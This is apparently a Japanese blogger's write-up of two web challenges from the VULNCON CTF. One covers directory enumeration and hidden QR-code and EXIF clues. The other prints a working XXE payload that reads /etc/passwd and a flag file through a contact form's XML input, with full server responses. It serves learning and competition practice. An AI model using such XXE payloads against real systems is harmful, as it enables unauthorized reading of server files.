kanyewest CTF

勉強したことをメモしています。

VULNCON CTF: write up

Web

Maze

$ gobuster dir -u http://maze.noobarmy.org/ -w big.txt -t 50 -q -x php,html,txt
/.htpasswd            (Status: 403) [Size: 282]
/.htaccess.html       (Status: 403) [Size: 282]
/.htpasswd.php        (Status: 403) [Size: 282]
/.htaccess.txt        (Status: 403) [Size: 282]
/.htpasswd.html       (Status: 403) [Size: 282]
/.htaccess            (Status: 403) [Size: 282]
/.htaccess.php        (Status: 403) [Size: 282]
/.htpasswd.txt        (Status: 403) [Size: 282]
/index.php            (Status: 200) [Size: 411]
/projects             (Status: 301) [Size: 325] [--> http://maze.noobarmy.org/projects/]
/server-status        (Status: 403) [Size: 282]

/projectsにアクセスすると下記のようなサイトがある。 f:id:tekashi:20201220150130p:plain

ソースコードをみてみると f:id:tekashi:20201220150143p:plain

コメントアウトされている/justsomerandomfoldername/image-0.pngにアクセスすると f:id:tekashi:20201220150153p:plain QRコードがある。

f:id:tekashi:20201220150204p:plain

image-0.pngの数字の部分を変更することで何枚かQRコードが有る。27 IS MY LUCKY NUMBER!と書かれているので/justsomerandomfoldername/image-27.pngQRコードを読み取る。

f:id:tekashi:20201220150255p:plain

13と書かれているのでimage-13.pngQRコードを読み取っても特になにもなかったが画像のexif情報をみてみると

$ exiftool image-13.png
ExifTool Version Number         : 12.00
File Name                       : image-13.png
Directory                       : .
File Size                       : 946 bytes
File Modification Date/Time     : 2020:12:06 20:41:46+09:00
File Access Date/Time           : 2020:12:20 14:47:08+09:00
File Inode Change Date/Time     : 2020:12:20 14:47:06+09:00
File Permissions                : rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 290
Image Height                    : 290
Bit Depth                       : 1
Color Type                      : Grayscale
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
XMP Toolkit                     : Image::ExifTool 12.04
Creator                         : aWh5YXBiYXtqQCRfN3UxJF8zaTNhX0BfajNvX3B1QHl5M2F0Mz99
Image Size                      : 290x290
Megapixels                      : 0.084
$ echo -n 'aWh5YXBiYXtqQCRfN3UxJF8zaTNhX0BfajNvX3B1QHl5M2F0Mz997' | base64 -d
ihyapba{j@$_7u1$_3i3a_@_j3o_pu@yy3at3?}

f:id:tekashi:20201220150230p:plain

flag: vulncon{w@$_7h1$_3v3n_@_w3b_ch@ll3ng3?}

Mr. Hekker

contact.phpに対してPOSTするときにパラメータが

<?xml version="1.0" encoding="UTF-8"?><contact><name>unko</name><email>unko@unko.com</email><subject>unko</subject><message>undefined</message></contact>

xmlなので簡単なXXEを試してみると

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<contact><name>unko</name><email>unko@unko.com</email><subject>unko</subject><message>&ent;</message></contact>
HTTP/1.1 200 OK
Date: Sun, 20 Dec 2020 07:19:36 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.2.34
Vary: Accept-Encoding
Content-Length: 1000
Connection: close
Content-Type: text/html; charset=UTF-8

Your msg has been receipt as root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
hekker:x:1000:1000::/home/hekker/:/bin/bash

上記のようにLFIに成功することがわかる。XXEでRCEできるのかと思って調べたが特に見つからなかったのでflagの場所を推測してincludeするしかない。

いろいろ探した結果/home/hekker/flag.txtにあった。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///home/hekker/flag.txt"> ]>
<contact><name>unko</name><email>unko@unko.com</email><subject>unko</subject><message>&ent;</message></contact>
HTTP/1.1 200 OK
Date: Sun, 20 Dec 2020 07:24:04 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.2.34
Content-Length: 64
Connection: close
Content-Type: text/html; charset=UTF-8

Your msg has been receipt as vulncon{MR_H4kk3r_w1th_XXE_(+_+)}

flag: vulncon{MR_H4kk3r_w1th_XXE_(+_+)}